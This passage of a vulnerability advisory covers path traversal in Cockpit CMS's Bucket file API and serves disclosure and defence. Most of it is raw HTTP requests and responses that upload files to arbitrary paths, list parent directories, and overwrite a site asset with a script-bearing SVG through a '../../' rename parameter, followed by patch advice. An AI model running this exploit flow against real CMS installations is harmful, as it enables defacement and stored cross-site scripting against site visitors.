Content-Disposition: form-data; name="files[]"; filename="msg.txt"
Content-Type: application/x-php

FelSec - I have been written to storage/uploads/msg.txt

------WebKitFormBoundaryfm71m98AVO7Pf5iO--

Response - Uploading file to arbitrary location:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Content-Length: 36

{"uploaded":["msg.txt"],"failed":[]}

Request - List files:

GET /system/buckets/api/test?cmd=ls&path=..\..\ HTTP/1.1
Host: 192.168.1.210:9081
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuNmEwMDQ0OTk3NzA1MDMxNTBkMDVlOWJjN2QyOGM5YmZkOTViNGJiZmRjZmY0ZGYxYmEzYjU0NmFmNGYxYTk5NCJ9.RqR6EbucXT9Dq3FCJGXSCVqVV0AOuVIHYRjLP6wEjVw
Cookie: 40d1b2d83998fabacb726e5bc3d22129=11908d596e49dfc833320d89b69b0366

Response - List files:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Vary: Accept-Encoding
Content-Length: 809

{"folders":[[...SNIPPED...],{"is_file":true,"is_dir":false,"name":"msg.txt","path":"uploads:\/\/msg.txt","url":"http:\/\/192.168.1.210:9081\/storage\/uploads\/msg.txt","type":"document","size":"57 Bytes","filesize":57,"mime":"text\/plain","ext":"txt","lastmodified":"28.04.26 20:32","modified":1777408364}],"path":"uploads:\/\/buckets\/test\/..\\..\\"}

Additionally, the name parameter used when calling the rename did not check for ../ or ..\ characters, allowing the files to moved to arbitrary locations or overwrite assets.

An example exploit flow is as follows:

  1. Identify an asset you want to overwrite

Request - Clean SVG file:

GET /storage/uploads/2026/03/24/clean_uid_69c2f9fade9f9.svg HTTP/1.1
Host: 192.168.1.210:9081
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.210:9081/assets
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=4c268531c975fc8052c2f77ffd17e3c8
If-None-Match: "dhbb7yjnzttu8z"
If-Modified-Since: Tue, 24 Mar 2026 20:54:18 GMT
Connection: keep-alive

Response - Clean SVG file:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 323
Content-Type: image/svg+xml
Etag: "dhbb7yjnzttu8z"
Last-Modified: Tue, 24 Mar 2026 20:54:18 GMT
Server: FrankenPHP Caddy
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="640px" height="320px">
  <rect width="632" height="3000" style="fill:rgb(255,0,0);stroke-width:4;stroke:rgb(0,0,0)"></rect>
  <text font-size="16" x="0" y="16">FelSec - TEST IMAGE</text>
</svg>

Clean SVG file prior to being overwritten:

Clean SVG

  1. Use the Bucket module to upload a malicious SVG to the application using a support and unchecked extension (e.g. .txt)

Request - Upload malicious SVG file:

POST /system/buckets/api/default?cmd=upload&path=. HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 446
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuOWQyYWNlMzEwM2NjODY4YjZlOTQ3M2I4MDA3NThhZmI1OTM0MTVkYzdlOGQ2Zjc2NTI3YzZlYTYwNWQ0OTkxMiJ9.l1Ki4d5cOUEvGiwUqv1qSafDiGrkn0OhrY-tRJ8u5kw
Cookie: 40d1b2d83998fabacb726e5bc3d22129=caa384be9841cab48e013e56496ef21a
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfm71m98AVO7Pf5iO
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/finder
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryfm71m98AVO7Pf5iO
Content-Disposition: form-data; name="files[]"; filename="mal-svg.txt"
Content-Type: text/plain

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("FelSec XSS!");
   </script>
</svg>

------WebKitFormBoundaryfm71m98AVO7Pf5iO--

Response - Upload malicious SVG file:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Content-Length: 40

{"uploaded":["mal-svg.txt"],"failed":[]}
  1. Use the rename function to overwrite the asset with the malicious version

Request - Overwriting clean file using the rename command:

GET /system/buckets/api/default?cmd=rename&path=./mal-svg.txt&name=../../2026/03/24/clean_uid_69c2f9fade9f9.svg HTTP/1.1
Host: 192.168.1.210:9081
Content-Length: 0
X-CSRF-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJjc3JmIjoiYXBwLmNzcmYuMDFiYWQ2NWE0N2NjMzkzZjFmMjA4Mjg0MzU4YTgwOWQ5ZWNhZDUxOTViOGE1MWViNGY0ZTdjYTNhM2UyNGY0OCJ9.z2XyPD77C7c2xs0KjHPkHvv6tJC5xkh75Xwz9mLtrLI
Cookie: 40d1b2d83998fabacb726e5bc3d22129=76694649176ba9d65c5b44190df548c1
X-Requested-With: XMLHttpRequest
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: http://192.168.1.210:9081
Referer: http://192.168.1.210:9081/finder
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Response - Overwriting clean file using the rename command:

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: application/json
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: FrankenPHP Caddy
Content-Length: 16

{"success":true}

The asset now loads the malicious content, including JavaScript code (which is usually removed from SVG files)

Request - Get overwritten SVG file:

GET /storage/uploads/2026/03/24/clean_uid_69c2f9fade9f9.svg HTTP/1.1
Host: 192.168.1.210:9081
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.210:9081/
Accept-Encoding: gzip, deflate, br
Cookie: 40d1b2d83998fabacb726e5bc3d22129=caa384be9841cab48e013e56496ef21a
If-None-Match: "dhbb7yjnzttu8z"
If-Modified-Since: Tue, 24 Mar 2026 20:54:18 GMT
Connection: keep-alive

Response - Get overwritten SVG file:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 258
Content-Type: image/svg+xml
Etag: "dhbba2mb1g2p76"
Last-Modified: Tue, 24 Mar 2026 20:57:04 GMT
Server: FrankenPHP Caddy
Vary: Accept-Encoding

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("FelSec XSS!");
   </script>
</svg>

Overwritten SVG file executing JavaScript:

Malicious SVG

When combined with the previous vulnerability it would be possible to write PHP files at any location within the application’s upload directory.

Recommendations

The first and biggest recommendation, is to update any affected Cockpit CMS instance to 2.14.0.

The second recommendation is to configure Cockpit CMS to only support the types you want to include in your site (svg, png, pdf, etc.).

References and Other Reading